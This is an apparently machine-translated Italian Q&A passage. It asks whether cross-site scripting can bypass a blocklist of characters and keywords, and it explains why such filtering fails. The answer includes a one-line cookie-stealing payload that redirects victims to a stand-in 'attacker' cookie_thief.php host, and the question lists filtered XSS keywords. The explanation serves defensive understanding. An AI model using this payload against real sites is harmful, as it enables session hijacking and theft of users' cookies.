È possibile eseguire xss nelle seguenti condizioni?
I seguenti caratteri e parole bloccati vengono sostituiti con _.
characters: > , : , ; , " , ' , # , ~ , \ , % , ( , ) , [ , ] , { , } , [space]
keywords: alert, confirm, prompt, href, body, onload, src=
L'input nella variabile get verrà restituito all'utente e non sarà in alcun attributo o tag, verrà visualizzato così com'è.
Prima di tutto XSS dipende interamente dal contesto. Forzando tutti gli input sebbene lo stesso filtro non funzionerà mai tutto il tempo. Questo non è il modo in cui le applicazioni web affrontano il problema dell'XSS. Il problema più grande con questo metodo di protezione XSS è che non è sicuro da codice binario. La codifica di entità HTML manterrà il valore senza condurre a XSS.
La maggior parte di queste restrizioni proposte ha nessun impatto su una determinata applicazione Web suscettibile di XSS. Il problema più ovvio è il controllo di alert e prompt , in quanto sono stringhe che non appariranno mai in un attacco reale. Questo perché un vero aggressore vuole essere non rilevato , una casella di avviso è un dead give.
Per rispondere alla tua domanda, SÌ , esistono numerose condizioni in cui un utente malintenzionato può ottenere XSS a causa di queste restrizioni arbitrarie. Mi viene in mente innanzitutto XSS basato su DOM e Iniezione eventi DOM .
Il vecchio vecchio XSS riflettente funzionerà anche in un certo numero di situazioni, il seguente è un payload PoC, presumendo che l'autore dell'attacco stia già scrivendo all'interno di un tag <script> :
document.location=document.referrer+document.cookie
In questo caso document.referrer è il punto in cui il carico utile XSS riflessivo ha avuto origine, chiamiamolo http://attacker/cookie_thief.php?c= . In questo payload il browser della vittima verrà reindirizzato a http://attacker/cookie_thief.php?c= dal payload XSS e la variabile c GET verrà popolata con il valore del cookie.
Leggi altre domande sui tag javascript xss